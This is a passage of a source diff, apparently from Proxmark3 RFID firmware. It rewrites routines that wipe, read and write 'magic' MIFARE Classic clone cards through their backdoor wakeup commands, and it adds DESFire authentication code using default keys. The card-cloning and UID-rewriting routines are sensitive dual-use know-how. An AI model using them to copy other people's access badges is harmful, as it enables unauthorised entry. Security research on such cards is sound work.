- LED_C_OFF(); - - SpinDelay(300); - FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); - SpinDelay(100); - FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_READER_MOD); - } - - while (true) { - // get UID from chip - if (workFlags & 0x01) { - if(!iso14443a_select_card(uid, NULL, &cuid)) { - if (MF_DBGLEVEL >= 1) Dbprintf("Can't select card"); - break; - }; - - if(mifare_classic_halt(NULL, cuid)) { - if (MF_DBGLEVEL >= 1) Dbprintf("Halt error"); - break; - }; - }; - - // reset chip - if (needWipe){ - ReaderTransmitBitsPar(wupC1,7,0, NULL); - if(!ReaderReceive(receivedAnswer) || (receivedAnswer[0] != 0x0a)) { - if (MF_DBGLEVEL >= 1) Dbprintf("wupC1 error"); - break; - }; - - ReaderTransmit(wipeC, sizeof(wipeC), NULL); - if(!ReaderReceive(receivedAnswer) || (receivedAnswer[0] != 0x0a)) { - if (MF_DBGLEVEL >= 1) Dbprintf("wipeC error"); - break; - }; - - if(mifare_classic_halt(NULL, cuid)) { - if (MF_DBGLEVEL >= 1) Dbprintf("Halt error"); - break; - }; - }; - - // write block - if (workFlags & 0x02) { - ReaderTransmitBitsPar(wupC1,7,0, NULL); - if(!ReaderReceive(receivedAnswer) || (receivedAnswer[0] != 0x0a)) { - if (MF_DBGLEVEL >= 1) Dbprintf("wupC1 error"); - break; - }; - - ReaderTransmit(wupC2, sizeof(wupC2), NULL); - if(!ReaderReceive(receivedAnswer) || (receivedAnswer[0] != 0x0a)) { - if (MF_DBGLEVEL >= 1) Dbprintf("wupC2 error"); - break; - }; - } - - if ((mifare_sendcmd_short(NULL, 0, 0xA0, blockNo, receivedAnswer, NULL) != 1) || (receivedAnswer[0] != 0x0a)) { - if (MF_DBGLEVEL >= 1) Dbprintf("write block send command error"); - break; - }; - - memcpy(d_block, datain, 16); - AppendCrc14443a(d_block, 16); - - ReaderTransmit(d_block, sizeof(d_block), NULL); - if ((ReaderReceive(receivedAnswer) != 1) || (receivedAnswer[0] != 0x0a)) { - if (MF_DBGLEVEL >= 1) Dbprintf("write block send data error"); - break; - }; - - if (workFlags & 0x04) { - if (mifare_classic_halt(NULL, cuid)) { - if (MF_DBGLEVEL >= 1) Dbprintf("Halt error"); - break; - }; - } - - isOK = 1; - break; - } - - LED_B_ON(); - cmd_send(CMD_ACK,isOK,0,0,uid,4); - LED_B_OFF(); - - if ((workFlags & 0x10) || (!isOK)) { - // Thats it... - FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); - LEDsoff(); - } -} - - -void MifareCGetBlock(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *datain){ - - // params - // bit 1 - need wupC - // bit 2 - need HALT after sequence - // bit 3 - need init FPGA and field before sequence - // bit 4 - need reset FPGA and LED + // params uint8_t workFlags = arg0; - uint8_t blockNo = arg2; - - // card commands - uint8_t wupC1[] = { 0x40 }; - uint8_t wupC2[] = { 0x43 }; + uint8_t blockNo = arg1; + + // detect 1a/1b + bool is1b = false; // variables - byte_t isOK = 0; - uint8_t data[18]; + bool isOK = false; //assume we will get an error + uint8_t errormsg = 0x00; + uint8_t uid[10] = {0x00}; + uint8_t data[18] = {0x00}; uint32_t cuid = 0; - memset(data, 0x00, 18); - uint8_t* receivedAnswer = mifare_get_bigbufptr(); - - if (workFlags & 0x08) { - // clear trace - iso14a_clear_trace(); - iso14a_set_tracing(TRUE); - - iso14443a_setup(FPGA_HF_ISO14443A_READER_LISTEN); + uint8_t receivedAnswer[MAX_MIFARE_FRAME_SIZE] = {0x00}; + uint8_t receivedAnswerPar[MAX_MIFARE_PARITY_SIZE] = {0x00}; + if (workFlags & MAGIC_INIT) { LED_A_ON(); LED_B_OFF(); - LED_C_OFF(); - - SpinDelay(300); - FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); - SpinDelay(100); - FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_READER_MOD); + iso14443a_setup(FPGA_HF_ISO14443A_READER_LISTEN); + clear_trace(); + set_tracing(true); } + //loop doesn't loop just breaks out if error while (true) { - if (workFlags & 0x02) { - ReaderTransmitBitsPar(wupC1,7,0, NULL); - if(!ReaderReceive(receivedAnswer) || (receivedAnswer[0] != 0x0a)) { - if (MF_DBGLEVEL >= 1) Dbprintf("wupC1 error"); - break; - }; - - ReaderTransmit(wupC2, sizeof(wupC2), NULL); - if(!ReaderReceive(receivedAnswer) || (receivedAnswer[0] != 0x0a)) { - if (MF_DBGLEVEL >= 1) Dbprintf("wupC2 error"); - break; - }; - } - - // read block - if ((mifare_sendcmd_short(NULL, 0, 0x30, blockNo, receivedAnswer, NULL) != 18)) { - if (MF_DBGLEVEL >= 1) Dbprintf("read block send command error"); + // read UID and return to client with write + if (workFlags & MAGIC_UID) { + if(!iso14443a_select_card(uid, NULL, &cuid, true, 0, true)) { + if (MF_DBGLEVEL >= MF_DBG_ERROR) Dbprintf("Can't select card"); + errormsg = MAGIC_UID; + } + mifare_classic_halt_ex(NULL); break; - }; - memcpy(data, receivedAnswer, 18); - - if (workFlags & 0x04) { - if (mifare_classic_halt(NULL, cuid)) { - if (MF_DBGLEVEL >= 1) Dbprintf("Halt error"); + } + + // wipe tag, fill it with zeros + if (workFlags & MAGIC_WIPE){ + ReaderTransmitBitsPar(wupC1, 7, NULL, NULL); + if(!ReaderReceive(receivedAnswer, receivedAnswerPar) || (receivedAnswer[0] != 0x0a)) { + if (MF_DBGLEVEL >= MF_DBG_ERROR) Dbprintf("wupC1 error"); + errormsg = MAGIC_WIPE; break; - }; + } + + ReaderTransmit(wipeC, sizeof(wipeC), NULL); + if(!ReaderReceive(receivedAnswer, receivedAnswerPar) || (receivedAnswer[0] != 0x0a)) { + if (MF_DBGLEVEL >= MF_DBG_ERROR) Dbprintf("wipeC error"); + errormsg = MAGIC_WIPE; + break; + } + + mifare_classic_halt_ex(NULL); + } + + // write block + if (workFlags & MAGIC_WUPC) { + ReaderTransmitBitsPar(wupC1, 7, NULL, NULL); + if(!ReaderReceive(receivedAnswer, receivedAnswerPar) || (receivedAnswer[0] != 0x0a)) { + if (MF_DBGLEVEL >= MF_DBG_ERROR) Dbprintf("wupC1 error"); + errormsg = MAGIC_WUPC; + break; + } + + if ( !is1b ) { + ReaderTransmit(wupC2, sizeof(wupC2), NULL); + if(!ReaderReceive(receivedAnswer, receivedAnswerPar) || (receivedAnswer[0] != 0x0a)) { + if (MF_DBGLEVEL >= MF_DBG_ALL) Dbprintf("Assuming Magic Gen 1B tag. [wupC2 failed]"); + is1b = true; + continue; + } + } + } + + if ((mifare_sendcmd_short(NULL, 0, ISO14443A_CMD_WRITEBLOCK, blockNo, receivedAnswer, receivedAnswerPar, NULL) != 1) || (receivedAnswer[0] != 0x0a)) { + if (MF_DBGLEVEL >= MF_DBG_ERROR) Dbprintf("write block send command error"); + errormsg = 4; + break; + } + + memcpy(data, datain, 16); + AddCrc14A(data, 16); + + ReaderTransmit(data, sizeof(data), NULL); + if ((ReaderReceive(receivedAnswer, receivedAnswerPar) != 1) || (receivedAnswer[0] != 0x0a)) { + if (MF_DBGLEVEL >= MF_DBG_ERROR) Dbprintf("write block send data error"); + errormsg = 0; + break; + } + + if (workFlags & MAGIC_HALT) + mifare_classic_halt_ex(NULL); + + isOK = true; + break; + + } // end while + + if (isOK ) + cmd_send(CMD_ACK,1,0,0,uid,sizeof(uid)); + else + OnErrorMagic(errormsg); + + if (workFlags & MAGIC_OFF) + OnSuccessMagic(); +} + +void MifareCGetBlock(uint32_t arg0, uint32_t arg1, uint8_t *datain){ + + uint8_t workFlags = arg0; + uint8_t blockNo = arg1; + uint8_t errormsg = 0x00; + bool isOK = false; //assume we will get an error + + // detect 1a/1b + bool is1b = false; + + // variables + uint8_t data[MAX_MIFARE_FRAME_SIZE]; + uint8_t receivedAnswer[MAX_MIFARE_FRAME_SIZE] = {0x00}; + uint8_t receivedAnswerPar[MAX_MIFARE_PARITY_SIZE] = {0x00}; + + memset(data, 0x00, sizeof(data)); + + if (workFlags & MAGIC_INIT) { + LED_A_ON(); + LED_B_OFF(); + iso14443a_setup(FPGA_HF_ISO14443A_READER_LISTEN); + clear_trace(); + set_tracing(true); + } + + //loop doesn't loop just breaks out if error or done + while (true) { + if (workFlags & MAGIC_WUPC) { + ReaderTransmitBitsPar(wupC1, 7, NULL, NULL); + if(!ReaderReceive(receivedAnswer, receivedAnswerPar) || (receivedAnswer[0] != 0x0a)) { + if (MF_DBGLEVEL >= MF_DBG_ERROR) Dbprintf("wupC1 error"); + errormsg = MAGIC_WUPC; + break; + } + + if ( !is1b ) { + ReaderTransmit(wupC2, sizeof(wupC2), NULL); + if(!ReaderReceive(receivedAnswer, receivedAnswerPar) || (receivedAnswer[0] != 0x0a)) { + if (MF_DBGLEVEL >= MF_DBG_ALL) Dbprintf("Assuming Magic Gen 1B tag. [wupC2 failed]"); + is1b = true; + continue; + } + } + } + + // read block + if ((mifare_sendcmd_short(NULL, 0, ISO14443A_CMD_READBLOCK, blockNo, receivedAnswer, receivedAnswerPar, NULL) != 18)) { + if (MF_DBGLEVEL >= MF_DBG_ERROR) Dbprintf("read block send command error"); + errormsg = 0; + break; } + memcpy(data, receivedAnswer, sizeof(data)); + + // send HALT + if (workFlags & MAGIC_HALT) + mifare_classic_halt_ex(NULL); + + isOK = true; + break; + } + // if MAGIC_DATAIN, the data stays on device side. + if (workFlags & MAGIC_DATAIN) { + if (isOK) + memcpy(datain, data, sizeof(data)); + } else { + if (isOK) + cmd_send(CMD_ACK,1,0,0,data,sizeof(data)); + else + OnErrorMagic(errormsg); + } + + if (workFlags & MAGIC_OFF) + OnSuccessMagic(); +} + +void MifareCIdent(){ + #define GEN_1A 1 + #define GEN_1B 2 + #define GEN_2 4 + // variables + uint8_t isGen = 0; + uint8_t rec[1] = {0x00}; + uint8_t recpar[1] = {0x00}; + + iso14443a_setup(FPGA_HF_ISO14443A_READER_LISTEN); + + // Generation 1 test + ReaderTransmitBitsPar(wupC1, 7, NULL, NULL); + if(!ReaderReceive(rec, recpar) || (rec[0] != 0x0a)) { + goto TEST2; + }; + isGen = GEN_1B; + + ReaderTransmit(wupC2, sizeof(wupC2), NULL); + if(!ReaderReceive(rec, recpar) || (rec[0] != 0x0a)) { + goto OUT; + }; + isGen = GEN_1A; + goto OUT; + +TEST2:; +/* + // Generation 2 test + + // halt previous. + mifare_classic_halt(NULL, 0); + + //select + if (!iso14443a_select_card(NULL, NULL, NULL, true, 0, true)) { + goto OUT; + }; + + // MIFARE_CLASSIC_WRITEBLOCK 0xA0 + // ACK 0x0a + uint16_t len = mifare_sendcmd_short(null, 1, 0xA0, 0, rec, recpar, NULL); + if ((len != 1) || (rec[0] != 0x0A)) { + isGen = GEN_2; + }; + */ +OUT:; + // removed the if, since some magic tags misbehavies and send an answer to it. + mifare_classic_halt_ex(NULL); + cmd_send(CMD_ACK, isGen, 0, 0, 0, 0); + // turns off + OnSuccessMagic(); +} + +void OnSuccessMagic(){ + FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); + LEDsoff(); + set_tracing(false); +} +void OnErrorMagic(uint8_t reason){ + // ACK, ISOK, reason,0,0,0 + cmd_send(CMD_ACK,0,reason,0,0,0); + OnSuccessMagic(); +} + +void MifareSetMod(uint8_t mod, uint8_t *key) { + uint64_t ui64Key = bytes_to_num(key, 6); + + // variables + uint8_t isOK = 0; + uint8_t uid[10] = {0}; + uint32_t cuid = 0; + struct Crypto1State mpcs = {0, 0}; + struct Crypto1State *pcs = &mpcs; + int respLen = 0; + uint8_t receivedAnswer[MAX_MIFARE_FRAME_SIZE] = {0}; + uint8_t receivedAnswerPar[MAX_MIFARE_PARITY_SIZE] = {0}; + + iso14443a_setup(FPGA_HF_ISO14443A_READER_LISTEN); + + clear_trace(); + set_tracing(true); + + LED_A_ON(); + LED_B_OFF(); + LED_C_OFF(); + + while (true) { + if(!iso14443a_select_card(uid, NULL, &cuid, true, 0, true)) { + if (MF_DBGLEVEL >= 1) Dbprintf("Can't select card"); + break; + } + + if(mifare_classic_auth(pcs, cuid, 0, 0, ui64Key, AUTH_FIRST)) { + if (MF_DBGLEVEL >= 1) Dbprintf("Auth error"); + break; + } + + if (((respLen = mifare_sendcmd_short(pcs, 1, 0x43, mod, receivedAnswer, receivedAnswerPar, NULL)) != 1) || (receivedAnswer[0] != 0x0a)) { + if (MF_DBGLEVEL >= 1) Dbprintf("SetMod error; response[0]: %hhX, len: %d", receivedAnswer[0], respLen); + break; + } + + if(mifare_classic_halt(pcs, cuid)) { + if (MF_DBGLEVEL >= 1) Dbprintf("Halt error"); + break; + } + isOK = 1; break; } - + + crypto1_destroy(pcs); + LED_B_ON(); - cmd_send(CMD_ACK,isOK,0,0,data,18); + cmd_send(CMD_ACK, isOK, 0, 0, 0, 0); LED_B_OFF(); - if ((workFlags & 0x10) || (!isOK)) { - // Thats it... - FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); - LEDsoff(); - } + FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); + LEDsoff(); } +// +// DESFIRE +// +void Mifare_DES_Auth1(uint8_t arg0, uint8_t *datain){ + byte_t dataout[12] = {0x00}; + uint8_t uid[10] = {0x00}; + uint32_t cuid = 0; + + iso14443a_setup(FPGA_HF_ISO14443A_READER_LISTEN); + clear_trace(); + set_tracing(true); + + int len = iso14443a_select_card(uid, NULL, &cuid, true, 0, false); + if(!len) { + if (MF_DBGLEVEL >= MF_DBG_ERROR) Dbprintf("Can't select card"); + OnError(1); + return; + }; + + if(mifare_desfire_des_auth1(cuid, dataout)){ + if (MF_DBGLEVEL >= MF_DBG_ERROR) Dbprintf("Authentication part1: Fail."); + OnError(4); + return; + } + + if (MF_DBGLEVEL >= MF_DBG_EXTENDED) DbpString("AUTH 1 FINISHED"); + cmd_send(CMD_ACK, 1, cuid, 0, dataout, sizeof(dataout)); +} + +void Mifare_DES_Auth2(uint32_t arg0, uint8_t *datain){ + uint32_t cuid = arg0; + uint8_t key[16] = {0x00}; + byte_t dataout[12] = {0x00}; + byte_t isOK = 0; + + memcpy(key, datain, 16); + + isOK = mifare_desfire_des_auth2(cuid, key, dataout); + + if( isOK) { + if (MF_DBGLEVEL >= MF_DBG_EXTENDED) Dbprintf("Authentication part2: Failed"); + OnError(4); + return; + } + + if (MF_DBGLEVEL >= MF_DBG_EXTENDED) DbpString("AUTH 2 FINISHED"); + + cmd_send(CMD_ACK, isOK, 0, 0, dataout, sizeof(dataout)); + FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); + LEDsoff(); + set_tracing(false); +} \ No newline at end of file diff --git a/armsrc/mifarecmd.h b/armsrc/mifarecmd.h index 3c00a3437..d73b124cb 100644 --- a/armsrc/mifarecmd.h +++ b/armsrc/mifarecmd.h @@ -17,12 +17,12 @@ #include "apps.h" #include "util.h" #include "string.h" - #include "iso14443crc.h" #include "iso14443a.h" -#include "crapto1.h" +#include "crapto1/crapto1.h" #include "mifareutil.h" #include "common.h" - - +#include "crc.h" +#include "protocols.h" +#include "parity.h" #endif \ No newline at end of file diff --git a/armsrc/mifaredesfire.c b/armsrc/mifaredesfire.c new file mode 100644 index 000000000..81a29578b --- /dev/null +++ b/armsrc/mifaredesfire.c @@ -0,0 +1,571 @@ +#include "mifaredesfire.h" + +#define MAX_APPLICATION_COUNT 28 +#define MAX_FILE_COUNT 16 +#define MAX_DESFIRE_FRAME_SIZE 60 +#define NOT_YET_AUTHENTICATED 255 +#define FRAME_PAYLOAD_SIZE (MAX_DESFIRE_FRAME_SIZE - 5) +#define RECEIVE_SIZE 64 + +// the block number for the ISO14443-4 PCB +uint8_t pcb_blocknum = 0; +// Deselect card by sending a s-block. the crc is precalced for speed +static uint8_t deselect_cmd[] = {0xc2,0xe0,0xb4}; + +//static uint8_t __msg[MAX_FRAME_SIZE] = { 0x0A, 0x00, 0x00, /* ..., */ 0x00 }; +/* PCB CID CMD PAYLOAD */ +//static uint8_t __res[MAX_FRAME_SIZE]; + +bool InitDesfireCard(){ + + iso14a_card_select_t card; + + iso14443a_setup(FPGA_HF_ISO14443A_READER_LISTEN); + set_tracing(true); + + if (!iso14443a_select_card(NULL, &card, NULL, true, 0, false)) { + if (MF_DBGLEVEL >= MF_DBG_ERROR) DbpString("Can't select card"); + OnError(1); + return false; + } + return true; +} + +// ARG0 flag enums +enum { + NONE = 0x00, + INIT = 0x01, + DISCONNECT = 0x02, + CLEARTRACE = 0x04, + BAR = 0x08, +} CmdOptions ; + +void MifareSendCommand(uint8_t arg0, uint8_t arg1, uint8_t *datain){ + + /* ARG0 contains flags. + 0x01 = init card. + 0x02 = Disconnect + 0x03 + */ + uint8_t flags = arg0; + size_t datalen = arg1; + uint8_t resp[RECEIVE_SIZE]; + memset(resp,0,sizeof(resp)); + + if (MF_DBGLEVEL >= 4) { + Dbprintf(" flags : %02X", flags); + Dbprintf(" len : %02X", datalen); + print_result(" RX : ", datain, datalen); + } + + if ( flags & CLEARTRACE ) + clear_trace(); + + if ( flags & INIT ){ + if ( !InitDesfireCard() ) + return; + } + + int len = DesfireAPDU(datain, datalen, resp); + if (MF_DBGLEVEL >= 4) + print_result("ERR <--: ", resp, len); + + if ( !len ) { + OnError(2); + return; + } + + // reset the pcb_blocknum, + pcb_blocknum = 0; + + if ( flags & DISCONNECT ) + OnSuccess(); + + cmd_send(CMD_ACK,1,len,0,resp,len); +} + +void MifareDesfireGetInformation(){ + + int len = 0; + iso14a_card_select_t card; + uint8_t resp[USB_CMD_DATA_SIZE] = {0x00}; + uint8_t dataout[USB_CMD_DATA_SIZE] = {0x00}; + + /* + 1 = PCB 1 + 2 = cid 2 + 3 = desfire command 3 + 4-5 = crc 4 key + 5-6 crc + PCB == 0x0A because sending CID byte. + CID == 0x00 first card? + */ + clear_trace(); + set_tracing(true); + iso14443a_setup(FPGA_HF_ISO14443A_READER_LISTEN); + + // card select - information + if ( !iso14443a_select_card(NULL, &card, NULL, true, 0, false) ) { + if (MF_DBGLEVEL >= MF_DBG_ERROR) DbpString("Can't select card"); + OnError(1); + return; + } + + if ( card.uidlen != 7 ) { + if (MF_DBGLEVEL >= MF_DBG_ERROR) Dbprintf("Wrong UID size. Expected 7byte got %d", card.uidlen); + OnError(2); + return; + } + + memcpy(dataout, card.uid, 7); + + LED_A_ON(); + LED_B_OFF(); + LED_C_OFF(); + + uint8_t cmd[] = {GET_VERSION}; + size_t cmd_len = sizeof(cmd); + + len = DesfireAPDU(cmd, cmd_len, resp); + if ( !len ) { + print_result("ERROR <--: ", resp, len); + OnError(3); + return; + } + + LED_A_OFF(); + LED_B_ON(); + memcpy(dataout+7,resp+3,7); + + // ADDITION_FRAME 1 + cmd[0] = ADDITIONAL_FRAME; + len = DesfireAPDU(cmd, cmd_len, resp); + if ( !len ) { + print_result("ERROR <--: ", resp, len); + OnError(3); + return; + } + + LED_B_OFF(); + LED_C_ON(); + memcpy(dataout+7+7,resp+3,7); + + // ADDITION_FRAME 2 + len = DesfireAPDU(cmd, cmd_len, resp); + if ( !len ) { + print_result("ERROR <--: ", resp, len); + OnError(3); + return; + } + + memcpy(dataout+7+7+7,resp+3,14); + + cmd_send(CMD_ACK,1,0,0,dataout,sizeof(dataout)); + + // reset the pcb_blocknum, + pcb_blocknum = 0; + OnSuccess(); +} + +void MifareDES_Auth1(uint8_t mode, uint8_t algo, uint8_t keyno, uint8_t *datain){ + + int len = 0; + //uint8_t PICC_MASTER_KEY8[8] = { 0x40,0x41,0x42,0x43,0x44,0x45,0x46,0x47}; + uint8_t PICC_MASTER_KEY16[16] = { 0x40,0x41,0x42,0x43,0x44,0x45,0x46,0x47,0x48,0x49,0x4a,0x4b,0x4c,0x4d,0x4e,0x4f }; + uint8_t null_key_data8[8] = {0x00}; + //uint8_t null_key_data16[16] = {0x00}; + //uint8_t new_key_data8[8] = { 0x00,0x11,0x22,0x33,0x44,0x55,0x66,0x77}; + //uint8_t new_key_data16[16] = { 0x00,0x11,0x22,0x33,0x44,0x55,0x66,0x77,0x88,0x99,0xAA,0xBB,0xCC,0xDD,0xEE,0xFF}; + + uint8_t resp[256] = {0x00}; + uint8_t IV[16] = {0x00}; + + size_t datalen = datain[0]; + + uint8_t cmd[40] = {0x00}; + uint8_t encRndB[16] = {0x00}; + uint8_t decRndB[16] = {0x00}; + uint8_t nonce[16] = {0x00}; + uint8_t both[32] = {0x00}; + uint8_t encBoth[32] = {0x00}; + + InitDesfireCard(); + + LED_A_ON(); + LED_B_OFF(); + LED_C_OFF(); + + // 3 olika sätt att authenticera. AUTH (CRC16) , AUTH_ISO (CRC32) , AUTH_AES (CRC32) + // 4 olika crypto algo DES, 3DES, 3K3DES, AES + // 3 olika kommunikations sätt, PLAIN,MAC,CRYPTO + + // des, nyckel 0, + switch (mode){ + case 1:{ + uint8_t keybytes[16]; + uint8_t RndA[8] = {0x00}; + uint8_t RndB[8] = {0x00}; + + if (algo == 2) { + if (datain[1] == 0xff){ + memcpy(keybytes,PICC_MASTER_KEY16,16); + } else { + memcpy(keybytes, datain+1, datalen); + } + } else { + if (algo == 1) { + if (datain[1] == 0xff){ + memcpy(keybytes,null_key_data8,8); + } else{ + memcpy(keybytes, datain+1, datalen); + } + } + } + + struct desfire_key defaultkey = {0}; + desfirekey_t key = &defaultkey; + + if (algo == 2) + Desfire_3des_key_new_with_version(keybytes, key); + else if (algo ==1) + Desfire_des_key_new(keybytes, key); + + cmd[0] = AUTHENTICATE; + cmd[1] = keyno; //keynumber + len = DesfireAPDU(cmd, 2, resp); + if ( !len ) { + if (MF_DBGLEVEL >= MF_DBG_ERROR) { + DbpString("Authentication failed. Card timeout."); + } + OnError(3); + return; + } + + if ( resp[2] == 0xaf ){ + } else { + DbpString("Authentication failed. Invalid key number."); + OnError(3); + return; + } + + memcpy( encRndB, resp+3, 8); + if (algo == 2) + tdes_dec(&decRndB, &encRndB, key->data); + else if (algo == 1) + des_dec(&decRndB, &encRndB, key->data); + + memcpy(RndB, decRndB, 8); + rol(decRndB,8); + + // This should be random + uint8_t decRndA[8] = {0x00}; + memcpy(RndA, decRndA, 8); + uint8_t encRndA[8] = {0x00}; + + if (algo == 2) + tdes_dec(&encRndA, &decRndA, key->data); + else if (algo == 1) + des_dec(&encRndA, &decRndA, key->data); + + memcpy(both, encRndA, 8); + + for (int x = 0; x < 8; x++) { + decRndB[x] = decRndB[x] ^ encRndA[x]; + + } + + if (algo == 2) + tdes_dec(&encRndB, &decRndB, key->data); + else if (algo == 1) + des_dec(&encRndB, &decRndB, key->data); + + memcpy(both + 8, encRndB, 8); + + cmd[0] = ADDITIONAL_FRAME; + memcpy(cmd+1, both, 16 ); + + len = DesfireAPDU(cmd, 17, resp); + if ( !len ) { + if (MF_DBGLEVEL >= MF_DBG_ERROR) { + DbpString("Authentication failed. Card timeout."); + } + OnError(3); + return; + } + + if ( resp[2] == 0x00 ){ + + struct desfire_key sessionKey = {0}; + desfirekey_t skey = &sessionKey; + Desfire_session_key_new( RndA, RndB , key, skey ); + //print_result("SESSION : ", skey->data, 8); + + memcpy(encRndA, resp+3, 8); + + if (algo == 2) + tdes_dec(&encRndA, &encRndA, key->data); + else if (algo == 1) + des_dec(&encRndA, &encRndA, key->data); + + rol(decRndA,8); + for (int x = 0; x < 8; x++) { + if (decRndA[x] != encRndA[x]) { + DbpString("Authentication failed. Cannot varify PICC."); + OnError(4); + return; + } + } + + //Change the selected key to a new value. + /* + + // Current key is a 3DES key, change it to a DES key + if (algo == 2) { + cmd[0] = CHANGE_KEY; + cmd[1] = keyno; + + uint8_t newKey[16] = {0x00,0x11,0x22,0x33,0x44,0x55,0x66,0x77,0x00,0x11,0x22,0x33,0x44,0x55,0x66,0x77}; + + uint8_t first, second; + uint8_t buff1[8] = {0x00}; + uint8_t buff2[8] = {0x00}; + uint8_t buff3[8] = {0x00}; + + memcpy(buff1,newKey, 8); + memcpy(buff2,newKey + 8, 8); + + compute_crc(CRC_14443_A, newKey, 16, &first, &second); + memcpy(buff3, &first, 1); + memcpy(buff3 + 1, &second, 1); + + tdes_dec(&buff1, &buff1, skey->data); + memcpy(cmd+2,buff1,8); + + for (int x = 0; x < 8; x++) { + buff2[x] = buff2[x] ^ buff1[x]; + } + tdes_dec(&buff2, &buff2, skey->data); + memcpy(cmd+10,buff2,8); + + for (int x = 0; x < 8; x++) { + buff3[x] = buff3[x] ^ buff2[x]; + } + tdes_dec(&buff3, &buff3, skey->data); + memcpy(cmd+18,buff3,8); + + // The command always times out on the first attempt, this will retry until a response + // is recieved. + len = 0; + while(!len) { + len = DesfireAPDU(cmd,26,resp); + } + + } else { + // Current key is a DES key, change it to a 3DES key + if (algo == 1) { + cmd[0] = CHANGE_KEY; + cmd[1] = keyno; + + uint8_t newKey[16] = {0x40,0x41,0x42,0x43,0x44,0x45,0x46,0x47,0x48,0x49,0x4a,0x4b,0x4c,0x4d,0x4e,0x4f}; + + uint8_t first, second; + uint8_t buff1[8] = {0x00}; + uint8_t buff2[8] = {0x00}; + uint8_t buff3[8] = {0x00}; + + memcpy(buff1,newKey, 8); + memcpy(buff2,newKey + 8, 8); + + compute_crc(CRC_14443_A, newKey, 16, &first, &second); + memcpy(buff3, &first, 1); + memcpy(buff3 + 1, &second, 1); + + des_dec(&buff1, &buff1, skey->data); + memcpy(cmd+2,buff1,8); + + for (int x = 0; x < 8; x++) { + buff2[x] = buff2[x] ^ buff1[x]; + } + des_dec(&buff2, &buff2, skey->data); + memcpy(cmd+10,buff2,8); + + for (int x = 0; x < 8; x++) { + buff3[x] = buff3[x] ^ buff2[x]; + } + des_dec(&buff3, &buff3, skey->data); + memcpy(cmd+18,buff3,8); + + // The command always times out on the first attempt, this will retry until a response + // is recieved. + len = 0; + while(!len) { + len = DesfireAPDU(cmd,26,resp); + } + } + } + */ + + OnSuccess(); + if (algo == 2) + cmd_send(CMD_ACK,1,0,0,skey->data,16); + else if (algo == 1) + cmd_send(CMD_ACK,1,0,0,skey->data,8); + } else { + DbpString("Authentication failed."); + OnError(6); + return; + } + } + break; + case 2: + //SendDesfireCommand(AUTHENTICATE_ISO, &keyno, resp); + break; + case 3:{ + + //defaultkey + uint8_t keybytes[16] = {0x00}; + if (datain[1] == 0xff){ + memcpy(keybytes,PICC_MASTER_KEY16,16); + } else{ + memcpy(keybytes, datain+1, datalen); + } + + struct desfire_key defaultkey = {0x00}; + desfirekey_t key = &defaultkey; + Desfire_aes_key_new( keybytes, key); + + AesCtx ctx; + if ( AesCtxIni(&ctx, IV, key->data, KEY128, CBC) < 0 ){ + if( MF_DBGLEVEL >= 4) { + DbpString("AES context failed to init"); + } + OnError(7); + return; + } + + cmd[0] = AUTHENTICATE_AES; + cmd[1] = 0x00; //keynumber + len = DesfireAPDU(cmd, 2, resp); + if ( !len ) { + if (MF_DBGLEVEL >= MF_DBG_ERROR) { + DbpString("Authentication failed. Card timeout."); + } + OnError(3); + return; + } + + memcpy( encRndB, resp+3, 16); + + // dekryptera tagnonce. + AesDecrypt(&ctx, encRndB, decRndB, 16); + rol(decRndB,16); + memcpy(both, nonce,16); + memcpy(both+16, decRndB ,16 ); + AesEncrypt(&ctx, both, encBoth, 32 ); + + cmd[0] = ADDITIONAL_FRAME; + memcpy(cmd+1, encBoth, 32 ); + + len = DesfireAPDU(cmd, 33, resp); // 1 + 32 == 33 + if ( !len ) { + if (MF_DBGLEVEL >= MF_DBG_ERROR) { + DbpString("Authentication failed. Card timeout."); + } + OnError(3); + return; + } + + if ( resp[2] == 0x00 ){ + // Create AES Session key + struct desfire_key sessionKey = {0}; + desfirekey_t skey = &sessionKey; + Desfire_session_key_new( nonce, decRndB , key, skey ); + print_result("SESSION : ", skey->data, 16); + } else { + DbpString("Authentication failed."); + OnError(7); + return; + } + + break; + } + } + + OnSuccess(); + cmd_send(CMD_ACK,1,len,0,resp,len); +} + +// 3 olika ISO sätt att skicka data till DESFIRE (direkt, inkapslat, inkapslat ISO) +// cmd = cmd bytes to send +// cmd_len = length of cmd +// dataout = pointer to response data array +int DesfireAPDU(uint8_t *cmd, size_t cmd_len, uint8_t *dataout){ + + size_t len = 0; + size_t wrappedLen = 0; + uint8_t wCmd[USB_CMD_DATA_SIZE] = {0x00}; + uint8_t resp[MAX_FRAME_SIZE]; + uint8_t par[MAX_PARITY_SIZE]; + + wrappedLen = CreateAPDU( cmd, cmd_len, wCmd); + + if (MF_DBGLEVEL >= 4) + print_result("WCMD <--: ", wCmd, wrappedLen); + + ReaderTransmit( wCmd, wrappedLen, NULL); + + len = ReaderReceive(resp, par); + if ( !len ) { + if (MF_DBGLEVEL >= 4) Dbprintf("fukked"); + return false; //DATA LINK ERROR + } + // if we received an I- or R(ACK)-Block with a block number equal to the + // current block number, toggle the current block number + else if (len >= 4 // PCB+CID+CRC = 4 bytes + && ((resp[0] & 0xC0) == 0 // I-Block + || (resp[0] & 0xD0) == 0x80) // R-Block with ACK bit set to 0 + && (resp[0] & 0x01) == pcb_blocknum) // equal block numbers + { + pcb_blocknum ^= 1; //toggle next block + } + + memcpy(dataout, resp, len); + return len; +} + +// CreateAPDU +size_t CreateAPDU( uint8_t *datain, size_t len, uint8_t *dataout){ + + size_t cmdlen = MIN(len+4, USB_CMD_DATA_SIZE-1); + + uint8_t cmd[cmdlen]; + memset(cmd, 0, cmdlen); + + cmd[0] = 0x0A; // 0x0A = skicka cid, 0x02 = ingen cid. Särskilda bitar // + cmd[0] |= pcb_blocknum; // OR the block number into the PCB + cmd[1] = 0x00; // CID: 0x00 //TODO: allow multiple selected cards + + memcpy(cmd+2, datain, len); + AddCrc14A(cmd, len+2); + + memcpy(dataout, cmd, cmdlen); + + return cmdlen; +} + + // 